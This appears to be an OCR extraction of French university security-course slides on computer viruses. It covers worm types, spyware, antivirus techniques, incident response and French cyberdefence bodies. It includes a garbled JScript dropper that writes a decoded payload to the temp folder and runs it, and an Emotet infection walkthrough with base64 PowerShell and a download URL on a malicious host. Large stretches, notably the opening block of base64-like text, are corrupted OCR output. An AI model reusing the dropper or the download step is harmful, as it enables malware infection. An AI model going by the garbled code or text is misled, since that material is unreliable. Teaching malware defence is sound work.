ARZBANAAGMEENDoEARABhMIED 1ySwEAC Byl jOEAAAECEAAAChMKEQoCKB4AAAbe ERMLEQt VEQAAC i g SAARAKI t4AKg ARDRWAAAAAARAARAAANAEAADN BAAARAAAACHAAARSWCACANAABWAA
[EX IBAABWHxeNBAAAADBJFn I DAABwogkXcycARHC i CRhyCuhAcK 1JGX IPAABwogkachMARHC i CRtyFuhAck IJHH IbAABwogkdcgBCAHC i CRSYER IACK IJHWIYFQ IAcK I JHwpyEWwAACK 1JHwty
RuificK ITHuwySwhnic K [JHwiyLwhnick IJHWSyNwhAcK TTHWIYGR IncK IJH=ByGuinicK IJH<FyDQ IAcK IJH<JYEQ IAcK IJHxNyFQ IAcK ITH<RYEWwAncK I JHxUyRwhificK LTH=<ZySwinc K IJKAEN)
NnoongNNCyoGhutANoLB-MEFhMFOJkAANARBBEF mgw I bdAnApunQndcBuNBAANARMGER Y gMANHC i EQYXe i cAnHC i EQYYehMANHC i EQYZchMAAHC i EDYachBCAHC i EQYonQAnC igFAANK
LD ICGEGAAAKckBAAHAY JQEARAETBXEHF xeNAQAAARMI EQglkiowHARABohE IohEHKCHARAYUKACAARom3gMm3gARBRAYEWURBREE jmk~XP~ - uoAnAEQAAARAELUBP 1 EBAWEAAREGKgAAB ioA
ANYAARGKgAAB ioAnAYghnfen igTANAKKY YgAANGKgAAB L offAYyANAGKgAAB ionAnYyAnAGKgAAB i onAnYgAnAGKgAAB ioAnnYgAnAGKgAAB 1oAnnYgARAGKYAAB ioANAYARAGKgAAB ion
ANYYAARGKYAAB L oARAYYAAAGKGAAB ioARAYgAANGKYAAB LoARAYYANAGKYAAB ionAAAYyANAGKYAAB L onAA YgARAGKgAAB inAAnYgANAGKgAAB ioAnAYgAARGKYAAB i oARAYgARRGKYAAB ioA|
ANYgAARGKgAnHg ToEwnnC i oGRgAAB ioARnYgAARGKYAAB LoARAYANAGKgAAB ionAnYyANAGKgAAB L onAn YgARAGKgAAB inAnYgANAGKgAAB ioAnnYgAARGKYAAB i oARAYgARAGKYAAB ioA|
ARYYAAAGKGAAE 1 0ARAYYAAAGKYARB 10ARAYYARAGKYAAB LoARAYYAARGKYAARB 10AAAYyARAGKYAAB 1 onAAYYARAGKYAAB inARAYyARARGKGAAB 1oARAYYARAGKYAAB i oARAYYARRGKYAAE i oAl
AB4CKBMARADGE 1 0ARAYGAAAGKYAAB i 0ARAYAAAGKGAAB i 0ARAYYARAGKYAAB i 0AAAYYARAGKYAAB i 0ARAYYARAGKYAAB i 0ARAYARAGKYAAB i 0ARAYYAAAGKYAAB i 0ARAYARAGKGAAE i oA
ARYAAAGKGAAB 1 0ARAYGAAAGKYAAB i 0AAAYAAAGKGAAB i 0ARAYYARAGKYAAB i nAAAYYARAGKYAAB i oAAAYYARAGKYAAB i nARAYARAGKYAAB i 0AAAYYAAAGKYAAB i 0ARAYYAARER i g TAAAK
[KgYyARAGKgAAB i 0AAAYgARAGKYAAB i0ARAYYAAAGKYAAB i 0AAAYYARAGKYAAB i 0AAAYYARAGKYAAB i 0ARAYARAGKGAAB i 0ARAYYAARGKYAAB ioARAYYARAGKYAAB i 0ARAYYARAGKYAAB i oA
ARYGAAAGKGAAB 1 0ARAYGAAAGKYAAB i0ARAYAAAGKYAAB i 0ARAYYARRGKYAAB i 0AAAYYARAGKYAAB i oAAAYYARAGKYAAB i nAAAYYARAGKYAAB i oARAYYAAAGKYARHY 10EWAAC i0GKgAAB i oA
ARYAAAGKGAAB 1 0ARAYGAAAGKYAAB i0AAAY AAAGKYAAB i 0ARAYYAAAGKYAAB i 0AAAYYARAGKYAAB i oAAAYYARAGKYAAB i nARAYYARAGKYAAB i oAAAYYAAAGKYAAB i oARAYYARRGKGAAB i oA
ARYYAAAGKGAAB 1 0ARAYGAAAGKYAAB i0AAAY AAAGKYAAB i oARAYYARAGKYAAB i 0AAAYYARAGKYAAB i oAAAYYARAGKY AAB i nARAYARAGKYAAB i0AAB4CKBMAAADY B i oARAYYARAGKGAAB i oA
ARYYAAAGKGAAB 1 0ARAYGAAAGKYAAB i0AAAY AAAGKYAAB i oARAYYARAGKYAAB i 0AAAYYARAGKYAAB i oAAAYYARAGKYAAB i nARAYYARAGKYAAB i 0AAAYYAAAGKYAAB i oARAYYARARGKGAAB i oA
NNYgAANGKGNNE 1oAnAYgANAGKgNAB ioNNNYgNANGKEgANB LontnYyANNGRgNAB ioNNnYynnnGKgANB i ondnYgAnnGRgANB ionnnYynnhen ig TAANKKg YgANRGRgANAB i oANNYgNNnGKgNAB ion
NNYgAANGKGNNE 1oAnAYgANAGKgNAB ioNNNYgNANGKgANB LontnYyAnnGRgNAB ioNNnYynnnGKgANB i ondnYgAnnGRgANB ionnn Yy AnAGKgHnB iondnYgANnGRgANAB ioANNYgNNnGKgNAB ion
ANYgAAARGKGAAB 1 oARAYEAAAGKGAAB ioARAYgAANGKGAAB LoAfAYYANAGKYAAB ionAnYyAnAGKgAAB i onAnYghnnGKgAnHY [oEWwAAC i 0GEgAAB ioAnnYgARRGKYAAB ioARAYgARAGKgAAB iof
ANYAARGKYAAB L oARAYYAAAGKGAAB ioARAYgAANGKEYAAB LoARAYYARAGKYAAB ionAAAYyANAGKgAAB L onARYgARAGKgAAB inAAnYgANAGKgAAB ioAnAYgAARGKYAAB i oANAYgARAGKYAAB ioA|
ANYAAAGKYAAB 1 0ARAYYAAAGKGAAB ioARAYgAANGKYAAB LoARAYYANAGKYAAB ionAnYyAnAGKgAAB i onAB4CKBMANAogGB i oA YgANAGKgAAB ioAnAYgAARGKYAAB ioARAYgARRGKYAAB ioA|
ARYYAAAGKYAAE 1 0ARAYGAAAGKYARB 10ARAY ARAGKYAAB LoARAYYAARGKYAARB 10AAAYyARAGKYAAB 1 onAAYYARAGKYAAB inARAYyARARGKGAAB 1oARAYYARAGKYAAB i oARAYYARRGKYAAB ioAl
ARYGARAGKGAAB 1 0ARAYGAAAGKYAAB i 0ARAYAAAGKGAAB i 0ARAYYARAGKYAAB i nAAAY AAREA i g TAAAKKY YgARAGKYAAB i nARAYARAGKYAAB i 0ARAYIAARAGKYAAB i ARAYARAGKGAAR i oA
ARYAAAGKGAAB 1 0ARAYGAAAGKYAAB i 0ARAYAAAGKGAAB i 0ARAYYARAGKYAAB i nAAAYYARAGKYAAB i oAAAYYARAGKYAAB i nARAYARAGKYAAB i 0ARAYYAAAGKYAAB i 0ARAYARAGKGAAE i oA
ARYAAAGKGAAB 1 0ARAYGAAAGKYAAB i0ARAYAAAGKYAAB i 0ARAYYARAGKgAAHY IoEWwAAC i 0GKgAAB i oAAAYYARAGKYAAB i nARAYYARAGKYAAB i 0ARAYYAAAGKYAAB i 0ARAYYARAGKGAAB i oA
ARYAAAGKGAAB 1 0ARAYGAAAGKYAAB i0ARAYAAAGKYAAB i 0ARAYYARAGKYAAB i 0AAAYYARAGKYAAB i oAAAYYARAGKYAAB i nAAAYYARAGKYAAB i 0ARAYYAAAGKYAAB i oARAYYARAGKGAAB i oA
ARYAAAGKGAAB 1 0ARAYGAAAGKYAAB i0ARAYAAAGKYAAB i oAAB4CKBMAAADGB i 0AAAYgARAGKYAAB i oAAAYYARAGKYAAB i nARAYYARAGKYAAB i oAAAYYAAAGKYAAB i oARAYYAARGKGAAB i oA
ARYAAAGKGAAB 1 0ARAYGAAAGKAAB i0ARAY AAAGKYAAB i oARAYYARAGKYAAB i 0AAAYYARAGKYAAB i oAAAYYARAGKY AAB i nARAYYARAGKYAAB i oAAAYYAAAGKYAAB i oARAYYARRGKGAAB i oAl
ARYYAAAGKGAAB 1 0ARAYYAAAGKYAAB ioARAYAAAeA i g TARAKKY YyARAGKYAAB i 0AAAYYARAGKYAAB i oAAAYYARAGKY AAB i nARAYYARAGKYAAB 1 0AAAYYAAAGKYAAB i oARAYYARRGKGAAB i oA
NNYgAANGKGNAE 1oAnAYgANAGKgNAB ioNNNYgNANGKEgANB LontnYyANNGRgNAB ioNNAnYynnnGKgANB i ondnYgAnnGRgANB ionnnYyAnAGKgHNB iondnYgANnGRgANAB ioANNYgNNnGKgNAB ion
NNYgAANGKGNNE 1 onnnYgAnnGRgNnHg IoEwnnC i oGRgANB LontnYyANNGRgNAB ioNNnYynnnGKgAnB i ondinYgAnnGRgANB ionnnYyAnAGKgHnB iondnYgANnGRgANAB ioANNYgNNnGKgNAB ion
ANYgAAARGKGAAB 1 0ARAYEAAAGKGAAB ioARAYgAANGKEGAAB LoAfAYYANAGKYAAB ionAnYyAnAGKgAAB i onAnYgANAGKgAAB ioAnnYgANAGKgAAB 1oAnAYgARAGKYAAB i oANAYgARAGKgAAB ioA|
ANYgAARGKgAAB 1 oAnB4CKBMAARDGB ioARAYgAANGKEGAAB LoAfAYYANAGKYAAB ionAnYyAnAGKgAAB i onAnYgANAGKgAAB ioAnYgANAGKgAAB 1oAnAYgARRGKYAAB ioANAYARAGKgAAB ion
ANYAARGKYAAB 1 oARAYYAAAGKGAAB ioARAYgAANGKYAAB LoARAYYARAGKAAB ionAAAYyANAGKYAAB L onAA YgANAGKgAAB inAnnYgANAGKgAAB ioAnAYgAARGKYAAB i oANAYARRGKYAAB ioA|
AnYgAAnen g TARAKKY YgARAGKgAAB ioARAYgAAAGKYAAB LoAfAYANAGKgAAB ionnnYyAnAGKgAAB L onAn YgARAGKgAAB inARn Yy ANAGKGAAB 1oAnAYgARRGKYAAB i oANAYgARAGKYAAB ioA
1,1 Haut
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UCA Exemple de code
malveillant

Grenoble Alpes
**, w = String.fromCharCode:”

b5, 911, [97, [48, 581, [43, 441, [47, 4811:"

(=)

(z in n)"
for (i = nlzllB1; i < nlzll11; i++)"

Py
v.push(w(i));"

d La fonction b6b

(1 =8; 1 € 64; 1++27

elulill = i:” réassemble le

var b = 8, ¢, %, 1 = 8, 0 = s.substring(i, i+72);" teXte Contenu

for (x = B: x < o.length; x++)"

;_‘zg';z"z:*‘t‘z?!; | dans la variable

r += wl(h >»> (1 -= 8)) % 256):" y y y

3
3
return ri”

r my0b ject™
0Ob ject = new ﬂctlve b ject ("Scripting .FileSystemdb ject");:”
j =jfoig jdsifg = myDb ject.GetSpecialFolder(2) +

r stream = new ﬂctlueXDbJect( 'ADODEB . Stream");
stream.Tupe = 2; i text”
stream.Charset = “I30-8859-1"
stream.Open();”
stream. WriteText (datal):”
stream.SaveToF ile (bkfafgo jgdifo jgiods jfoig jdsify, 23:°
stream.Close();”

0b ject = new ActiveX0bject("WScript.Shell”)”

0b ject .Run(bkfdf go jydifo jyiods jfoig jdsifg):
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UCA Exemple de code
malvelllant

Grenoble Alpes

uy @
I" LI'Thb program cannot hE run in DOS mode.

17 jugy”

COCF (e

iZE Te =

iXeate®
el Nead, PR
cude malumlldnt txt"” 69ZL, 319971C
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UCA Exemple de code
malvelllant

Grenoble Alpes

= e

@‘@vl . « Utilisateurs » Test » AppData » Local » Temp » v|¢,| Rechercher dans : Temp P|

Organiser « Inclure dans la bibliotheque « Partager avec v MNouveau dossier Bz > i @
code_malveilla.. o T 1 1 $ 1
X Faviii Morm Modifié le Type Taille
B Bureau J Low 06/07/2017 11:14 Dossier defichiers
E__ Emplacernents récer 1 WPDNSE 06/07/2017 11:05 Daossier de fichiers
4§ Teléchargements || FXSAPIDebuglogFiletd 06/07/2017 11:05 Document texte
|7 rokj.exe 06/07/2017 11:21 Application
- Bibliothéques & Test.bmp 06/07/2017 11:05 Image bitmap

E] Documents | wmsetup.log 06/07/2017 11:05 Document texte
&= Images
J“ Musique

Virls DOMATINS B vidéos

/M Ordinateur

&h Réseau

6 élément(s)

e
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UCA Exemple de code
malvelllant

Université
Grenoble Alpes

1™ Gestionnaire des tiches de Windows

[=s=]r=]

Fichier Options Affichage 7

Applications | Processus |Serv'|oes | Performance I Mise en réseau | Uh'lisateufs|

=
Nom de limage  Momdu... P.. Mémoire... Description
conhost.exe Test oo 984K Hote de la fenétre dela... @_Q v| Sl v Test » Mes documents
conhost.exe Test oo 992K Hbte de la fenétre dela... .
CErss.exe 00 1040K Organiser = Inclure dans la bibliothéque = Partager avec + Nouveau dot
dwm.exe Test oo 504K Gestionnaire de fenétre... 3 =
explorer.exe Test 00 23 148K  Explorateur Windows 7 Favoric Nem Modifié |
schtasks.exe ,.. Test ag 560K Gestion des taches plan... " ” "
Bureau =7 wwg.exe 06/07/20;
schtasks.exe ... Test 00 304K  Gestion des tiches plan. .. i 4
EE| i 3
taskeng.exe Test [ili} 1344K  Moteur du Planificateur ... i Empla L
taskhost.exe Test oo 1068K Processus hite pour TA... I eléchargements
taskmagr.exe Test o0 2908K Gestionnaire des taches... L
|0l e =5 Bibliotheques
wwg.exe *32 Test o2 2752K  wwg.exe T
j Documents
=l Images
) ‘ .J‘ Musique
B vidéos
= — - )
[ "y Afficher les processus de tous les utiisateurs | Armréter le processus 1% Ordinateur
1 ' s
\ LY
| Processus: 44 UC utilisée: 1% Mémaoire physique: 48 % W fescal

[ 1 élément

\ |_ |6|]‘ = | &g e B nsf::?fm 'j
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g?::\eorg:;empes L e S Ve rS

* Programmes auto-reproducteurs

e Sous- Worm: Wm32 Conficker s de propager
l'infec b

* La sp = ur pouvoir
infecti . »>+==4  rement attache
aun s . = ST,

« Unve ) o4  nsemble dela
planet T T et

Campeiter DASEWOID,
Sy e :.Mrﬁd faﬁdﬂl.ul SeCrily
update and anti-virus soffwang is
protected from the wanmn,
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e Types de vers

* Vers simples (Worms)

— Exploitent genéeralement les failles logicielles
permettant I'exécution de programmes sur une
machine distante

* Macro-vers

— Programmes hybrides virus (infection de support
transmis par réseau) et vers (utilisation du réeseau
pour la transmission), souvent propages par des
pieces jointes contenant des documents bureautiques
infectes

e Vers d'e-malls
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uversiie © - Spywares (logiciels espions)

Grenoble Alpes

* Petits modules, inserés de maniere relativement
discretes

* Integrés dans des logiciels commerciaux ou de
type shareware/freeware

* Renseigner I'editeur de logiciel sur
‘environnement mateériel de la machine, ses
nabitudes de consommation ou de navigation

* Les logiciels anti-virus ne les détectent jamais
(pression sur les editeurs de logiciels anti-virus
de la part de societes editrices de logiciels
commerciaux => les spywares sont ignores)

« Atteinte a la vie privée + déni de service
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Universite Exemple d’attaque virale :Emotet

Grenoble Alpes

Activation des

Courriel
d’hameconnage macros et exécution
d'un script

https://www.cert.ssi.gouv.fr/cti/CERTFR-2020-CTI-010/
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wniversis & Exemple d’attaque virale :Emotet

Grenoble Alpes

* First step : Phishing Emaill

4 | 9 I= Sans titre - Message (HTML) (Lecture seule) — O x
I ichie ‘ Message ESET [~ @
,‘ 3 P 3 Régle % Marque . > P
. Ignorer W 3 3 Y .._% [ CERT/FR 1-)-‘ = = Marquer comme non lu a& ﬁ -
) v v = \"/ Alerte courriel m... | - — 9’“] OneNote ‘t Classer v b
ol o 3 e Répondre Répondre Transférer - o Déplacer Traduire Zoom
ag Courrier indésirable P 'aptous =) ¥ Alerte globale p. [z Actions = | ¥ Assurer un suivi - g~
Supprimer Répondre Adt 2} Indicateurs .| Modification | Zoom
De: TRIPOGNEY Karine <enfance @lacanau. fr> Date: mar. 29/09/2020 04:25
As grennhlea!pesmewﬂpﬂle‘fr
£y
Objet : B o
| Message | @] Form.doc (138 Ko)
Please see the attached file.
TRIPOGNEY Karine
Karine TRIPOGNEY @cnipt fr
-—-Original Message-----
Sent: Tuesday, September 28, 2020 22:23
From: " [mailto G crenoblealpesmetropole fi]
To: "TRIPOGNEY Karine"
Subject: Re: TRIPOGNEY Karine
A

=l

=]

D TRIPOGNEY Karine
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wniversiie. & Exemple d’attaque virale :Emotet

Grenoble Alpes

« 2" step : Attachment opening

(vl 5 Form.doc [Compatibility Mode] - Microsoft Word = B 2
m Hame Insert  Pagelayout  References Mailings Review  View.  Developer s @
< = . #4 Find
: ==l % b [ =i | pEe| - |3 , . , Mo
e B | || astbcene asebccoc AaBbC AaBbG AaBbC . A | 4 .
i 23c Replace
Paste B I U x y A N 2 = B F- = Y - Change
2 F Format Painter B 1 % ¢ ;M?I,g- 5
Clipboard . Font Paragraph Styles
-
Microsoft Office Wizard
Microsoft Office
] Office
Transformation Wizard
Operation did not complete successfully because the file was created on Android device.
To view and edit document click "Enable Editing” and then click “Enable Content”.
-
|I &
- § E ¥
Form.doc: 18 674 characters, (This documentis password-protected and editing restrictions are in effect} j HE 3 & 100 (= ] +
i“s:arti 8 - 0 € 0w % > etzam M
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wniversie. & Exemple d’attaque virale :Emotet

Grenoble Alpes

» 3rd step : Powershell execution

ADVANCED DETAILS OF PROCESS

Base 64

Mallcious

Command Line:

Analysed with Any.run
https://app.any.run/tasks/f6ef6da
£-d067-4362-8351-21cffa8beSae/

INDICATORS OF SUSPICIOUS BEHAVIOUR

DANGER
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niversite Exemple d’attaque virale :Emotet

Grenoble Alpes

» 4th step : exe file creation

i start: 4289 length: 4289 i
Recipe S ] Input l_n;gf‘m‘g i + O B =
BYAUUATUD JHOBARRAKAL Y ANADUAUCAMTWAXAVUALADDAUSHA LAREANUABYDUALY AUWD LAKMARYD F AAURLEE D
From Base64 (S | AHSAJABPAGQAaWALADYAOABZACAAT gBKAGAADWEXAGAAYABSAGBAQOBEAGAAREBIAEWATZQAIACEATABGAD
QAbgBhADMAMOBIACWATAAKAECAXWBIADQAOAAXAGQAKQATACQATWAWAGSADAAXAGKASQASACEAIWBZADIA
Alphabet / = JWArACEATWB yAHKATWArACCAXWALAGWATWAPACKAOWBIAGYATAACACEAL AOACCARWBIACCAKWANAHQALQ
A-Za-zR@-9+/=

BJAHQAZQBTACCAKQAGACQARWBTAHUANAAAADEAZAADACAATEBSAEUADEBEAGCAYABUAGEATIEABACBAZWE]L
ACAAMBAIADMAOAAXACKATABTACAAKAANAEKADEE2 AGBAaWB1ACCAKWANACBASQBBAGUATWArACCABQANAL
KAKAAKAECAXWE1ADQAOAAXAGQAKQAZACQAT gAWAHYAdWBPADYADAASACEAKAANAECANWANACSATWBIACCA
KQArACEATWBKACCAKWANADQAOQOBmMACCAKQAPADSAYEBYAGUAYQBrADSATABJAHCANWASAGBAYEABADBAKA
AOACCASEAYACCAKWANADYAJWAPACSAIWBLACCAKWACACCANAANACSATWAZAHTAIWAPACKATOBOAGMAYQES
AGMAaABTAHBATQAKAFkAagBnAHOAd A2 AGBAPQACACEATWEDAHQABQBUACCAKWANAGCATWAPACSATWBEAG

Remove non-alphabet chars

UATWApAA==
TOOI used : start: 3157 time: 45ms L
Output poies wersn @ DR - 2
(::3/[)(3]7(:11(31? :. OE~ WE$.Z.x.u.7.m.Z.9. ( [ (P o TS T ARET W PRETRRD) BT S (PRt it o5+ ERRH B B e,
(.".n.e.w.-.".+.".i.t.e.m.”.). .$.E.N.v.:.U.5.e.r.P.r.o.f.i.1.e.\.P.0.h.0.3.2.7.
\.T.u.Q._.B.W.I.\. .-.i.t.e.m.t.y.p.e. .D.i.r.E.c.t.0.R.Y.;.
[.N.e.t...S.e.r.v.i.c.e.P.0.i.n.t.M.a.n.a.g.e.r.].:.:.".S.E.c.u.r.I.” . T.Y.” .P." .R.
o ‘.T.o.c.o.L.“. g o on G i s e s N Y i Nt G Vi
A T T B i T Lot T IO, o T I e T L. o 2 AT G T S
.(.(.’.0.j.q.’.+ Oet e (2.8 e L) ) 8.Elbonkld 3
Ca".08 B - P
(-"en. "+ 327000 ) )5 5.6 _u4.8.1.d.=. 5.0y u.s.e.r.p.r.o.f.i.l.e.+.
!I | O T R o A D e S TR e B N TR S W R L o @ T [ ) PR T
STEP Auto Bake (- -bow. . 103000406 F L) uRee Pu LAl el (L TLTL6 L LR L )
rroao 102N 0 €0 A a1 7 w5 0
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wniversie. & Exemple d’attaque virale :Emotet

Grenoble Alpes

» 5th step : Malware download

GET | 200: OK D 7992 powershell ex: ttp:/fora-ks.comysystem/cache/MF 648Kb 4 executable

Process details 1D 1860

Ojgot28t.exe

Program
Execution
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wniversie. & Exemple d’attaque virale :Emotet

Grenoble Alpes

» 6th step : Connection to C&C server

443Kh t hinary
132b 4 binary

POST | 200: DK

Process details 1D 2944 jlic

capisp.exe

Computer is
compromised,
waiting for
further
iInstructions
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Universiteé LUtte anti'ViraIe

Grenoble Alpes

Un anti-virus peut étre deployeé :
*En local : sur un systéme (poste de travail ou serveur) afin de détecter les
virus affectant cette machine ;

*En coupure des flux réseaux : sur un pare-feu afin d’analyser les flux réseau
et détecter les malware avant méme qu’ils n’atteignent leur cible. Ce
fonctionnement peut étre assimilé a un IDS (Intrusion Detection System),
mecanisme présenté dans la section suivante.

22/11/2020 Sensibilisation et initiation a la

Cours de Sécurité LPRO RT — Grenoble — CB/beGkapmitre M33-3 « Virus » - 2020-2021 63



UGA

st Ll | utte anti-virale

* Techniques anti-virales (anti-virus)

— Mode statique (analyse sur déclenchement de
I'utilisateur)

» Recherche de signatures (suites de bits caractéristiques d'un
virus donng)

* Analyse spectrale : établir la liste des instructions d'un pgm
(le spectre) et y rechercher les instructions peu courantes
dans les pgms non viraux et plus utilisés dans le virus

* Analyse heuristique : etude du comportement d'un
programme afin de détecter des comportements viraux

» Contréle d'intégrité : surveillance de la modification de
fichiers sensibles (exécutables, documents)
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st Ll | utte anti-virale

— Mode dynamique (résident, analyse en
permanence les fichiers et exécutables)

» Surveillance comportementale

— L'antivirus détourne des interruptions a son profit (ex :
13H ou 21 H) et tente de détecter tout comportement
suspect

» Tentatives d'ouvertures/écriture de fichiers
exécutables

» Ecriture sur les secteurs systéme
» Tentative de mise en résident
« Emulation de code

— Lutte contre les virus polymorphes (simulation du
comportement)
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st Ll | utte anti-virale

* Analyse de signatures (ou techniques de
scanning)

* Analyse comportementale

Cours de Sécurité LPRO RT — Grenoble — CB — Chapitre M33-3 « Virus » - 2020-2021 66



UCA

yniversite © | utte anti-virale

« Ces logiciels peuvent étre :

— Gratuits :

installé par défaut lors de I'achat du terminal ou par I'éditeur du systéme d’exploitation
(Microsoft Security Essential) ;

ou manuellement : Avast, Malwarebytes.

L 1 AA AL | N | ok A L

EV|ter d’exécuter les scans gratuits depuis les pages Internet
vous indiquant que votre ordinateur est infecté.

« Lors de I'apparition d'un nouveau code malveillant, des éditeurs de
solutions antivirales effectuent des analyses afin de :

— déterminer la « signature » de ce code malveillant pour I'identifier de maniére
unique ;

— identifier les moyens de protection et des corrections ;

— enrichir leur base antivirale avec ces informations.
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st Ll | utte anti-virale

» Doivent étre configurés de manieére a :
— Télécharger automatiquement les nouvelles signatures (base antivirale) ;
— Etre toujours actif (faire attention si votre antivirus est désactivé) ;
— Scanner tout l'ordinateur sans exception de répertoires / fichiers ;
— Effectuer des analyses complétes de maniére périodique ;
— Analyser automatiquement de nouveaux périphériques tel que les clés USB

L’antivirus n’est pas une « arme absolue ». La mise a jour des systémes et des
applications, ainsi qu’une bonne hygiéne informatique sont indispensables.

— |l n'y a pas de base exhaustive pour les virus ;

— Un code malveillant peut sévir dans un systéme disposant d’'un antivirus et
y demeuré indétecté ;

— Les antivirus ne détectent que les virus dont les signatures sont
« connues » ;

— De trés nombreux codes malveillants sont créés chaque jour.
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Universits En cas d'infection

« Symptémes de présence des codes malveillants

« Ralentissement

— duterminal : exemple pendant I'arrét et le redémarrage ;

— du débit : la bande passante semble partagée.
* OQuvertures réguliéres de fenétres de pop-up et de publicités ;
* Moadification de la configuration de votre navigateur web

— Modification de votre page d’accueil ou de votre moteur de recherche ;
Exemple : Snapdo.

— Présence de nouvelles extensions que vous n’avez pas installées.

« Surconsommation des ressources
— Réduction de I'espace libre sur disque sans raison ;
— surcharge du processeur.

« L’antivirus/antimalware ou pare-feu est désactivé sans votre intervention ;
* Les mises a jour systéme/antivirus/antimalware échouent systématiquement ;

 Messagerie
— vos contacts (amis/famille) recoivent des messages que vous n’avez pas envoyes ;
— votre boite d’envoi contient des messages que vous n’avez pas envoye.
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En cas d'infection

« (Cas d'une infection détectée

Université

Isoler du réseau la ou les machines incriminées
Sauvegarde des données (qui devront étre par la suite
désinfectée)
Garder une copie de l'infection (quarantaine) pour pouvoir
eventuellement analyser la menace
Passer I'antivirus en mode "éradication”, éteindre la machine et
recommencer

» Consulter les sites antivirus pour trouver une solution

« Sinon formatage de la machine...
Mesures de post-infection

. Cha?gements des mots de passe (pour éviter la propagation des
vers

» Appliquer les correctifs sur les logiciels (bien mettre a jour les
ghosts qui servent a installer des machines)

Evaluation de la politique de sécurité pour comprendre comment
cette infection a été possible

En cas d'attaque avérée, il faut porter plainte...
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Universits En cas d'infection

« Cas d'une infection non détectée (par I'anti-virus,
le pare-feu, etc...)

— Déconnecter le systeme de l'extérieur
— Sauvegarder toutes les données

— Analyser le systéeme en détail (tache tres ardue)

« Comparer les fichiers ayant subi des modifications par
rapport a des sauvegardes passees

* Fichiers surnuméraires

« Sauvegarder ces fichiers, a transmettre a la police avec
depobt de plainte
* Prévenir un organisme d'alerte ou de veille (type CLUSIF,
(Club de la sécurité des systemes d'information francais))
— Restauration de la machine sans la connecter au
réseau (une periode de quarantaine est conseillée en
I'absence de retour sur l'infection)
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Universits En cas d'infection

* Ne jamais payer de rangons ;

« En cas de chantage / usurpation d’'identité / atteinte a la réputation :

— Ne communiquez plus avec lI'escroc ;
» bloquer ses messages / son contact.
— Signalez et recevez de l'aide ;

 faire bloquer ce contact sur le site du chat, ou sur Facebook ou Skype ;

» exercer le droit a I'oubli sur Google :
https://support.qgoogle.com/legal/contact/Ir eudpa?product=websearch&hl=fr;

 signaler : https://www.internet-signalement.gouv.fr/

* pour les mineurs : hitp://www.netecoute.fr/

« En cas de ransomware (rangongiciel) :

— En entreprise ou a l'université : signalez aux responsables informatiques ;

— A la maison : rechercher de 'aide sur des sites et forums spécialisés :
http://stopransomware.fr/nettoyer-son-ordinateur/
Les sites d’éditeurs de solutions antivirales : Symantec, etc.

« Porter plainte a la police ou a la gendarmerie.
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e Virus informatique

Les virus informatiques constituent des « attaques massives » qui tendent...
» adevenir de plus en plus ciblés sur un secteur d’activité (télécommunication, banque, défense, énergie, etc.)
» adevenir de plus en plus sophistiqués et furtifs

Les principaux vecteurs d’infection...

*Message avec piéce-jointe

*Support amovible (clé USB...)

*Site Web malveillant ou piratés

*Partages réseaux ouverts, systémes vulnérables...

4

... avec comme conséquences potentielles ...

eInstallation d’'un « cheval de Troie » pour accéder au poste de travail
a distance

*Récupération de données ciblées : cartes bancaires,
identifiants/mots de passe...

*Surveillance a distance des activités : capture des écrans, des

eéchanges, du son ou de la vidéo !
ssands  Quelques virus récents et *Destruction des données des postes de travail

médiatiques : Citadel, Flame, *Chiffrement des données pour une demande de rangon

Stuxnet, Duqu, Conficker, Zeus, ...
Shamoon (Aramco)...
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Cyberdéfense : un véritable enjeu de sécurité nationale

s R—
Défense SENAT
et Sécurité T ——
nationale T
Centre
S Id’analyse
E LIVRE BLANC i e Istrateglque
I i & Développement durable
Nicolas Sarkozy e SO ol o HEGA de  Fi .
P e s DEFENSE Cybersécurité’, I'urgence d'agir
7 ET SECURITE
,ff'?:;.:;\ NATIONALE
o 2013

« Les cyberattaques, parce qu’elles n'ont pas, jusqu’a présent, causé la mort
d’hommes, n'ont pas dans l'opinion l'impact d’actes terroristes. Cependant, des PRO JET DE LOI DE
aujourd’hui, et plus encore a I'horizon du Livre blanc, elles constituent une menace .. IIBEEN,
majeure, a forte probabilité et a fort impact potentiel » (Chapitre 4, Les priorités
stratégiques, livre blanc 2013)

2014/2019

« Le developpement de capacitées de cyberdéfense militaire fera I'objet d’un effort “
marqué » (Chapitre 7, Les moyens de la stratégie, , livre blanc 2013)
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Organisation interministérielle :

N

[ Premier Ministre J ¢

Secrétai <néral de | Ministéres
Pilotage de la politique nationale en ,ecre aire genera’ e . a,
matiére de sécurité des systemes | défense et de la sécurite

d’information nationale (SGDSN) Défense
Intérieur
Affaires étrangeres

: N i

Agence nationale de la Economie
sécurité des systémes > Budget

d’information (ANSSI) ) Industrie

Proposition des régles a appliquer pour la protection des S.I. de I'Etat. (\ <

Vérification de I'application des mesures adoptées
Conseil/soutien Sécurité aux administrations

Information du public

Contribution au développement de Services de confiance

Hauts fonctionnaires de
défense et de sécurité
(HFDS)
Coordination de la préparation des mesures de
défense (Vigipirate) et chargés de la sécurité
des systemes d'information
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Cybersécurité = SS| + cyberdéfense + cybercriminalité

N\ Préfecture de
§ Police (BEFTI)

/".’ Direction Geéneéral
. DGA de ’Armement (DGA)

<% Etat-Major des
“.i‘: Armées (EMA)

,ﬁh‘.\ Gendarmerie
4 Vgie” i
¢ 5&;‘} Nationale (IRCGN)

He .g ‘7“,

Police Nationale
S/ (OCLCTIC)

ﬁ ) Officier Général
= ' “Cyber”
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« CERTA (Centre d'Expertise gouvernemental de Réponses et de
Traitements des Attaques Informatiques)

— www.certa.ssi.gouv.fr
 CVE (Common vulnerability and exposures)
— www.cve.mitre.org

— Noms normalisés des vulnérabilités et risques pour la sécurité des
informations

 CERT (Center for Emergency and Response Team)
— www.cert.org
— Expertise pour la sécurité internet
 SANS (SysAdmin, Audit, Network, Security)
— Www.sans.org
— Recherche en sécurité des informations
» CIS (Center for internet security)
— www.cisecurity.com
— Gestion des risques liés a la sécurité informatique
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SCORE (Security Consensus Operational Readiness Evaluation)
— www.sans.org/score
— Communauté de professionnels en sécurité
« |SC (Internet storm center)
— http://isc.sans.org
— Journal concernant les détections d'intrusion
 [ICAT
— http://icat.nist.gov/icat.cfm
— Index d'information sur les vulnérabilités informatiques
« Security Focus
— www.security-focus.com
— Communauté de professionnels de la sécurité

« ANSSI

— WWW.SSLQouV.fr
— Agence Nationale de Sécurité des Systemes d’Information
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Que
dintry

Liens utiles

Pubbc ations

L& CERT-FR

Conkac

CSIRT

Le FIRST

Les systémes obsolétes

L'ANSSI recrute

jcontes CERTFR-2017- ALE- 008

alertes en cours

Flux RSS complat

Flux RSS des akertes]

Nous contacter
& propos du site

CERI-FR

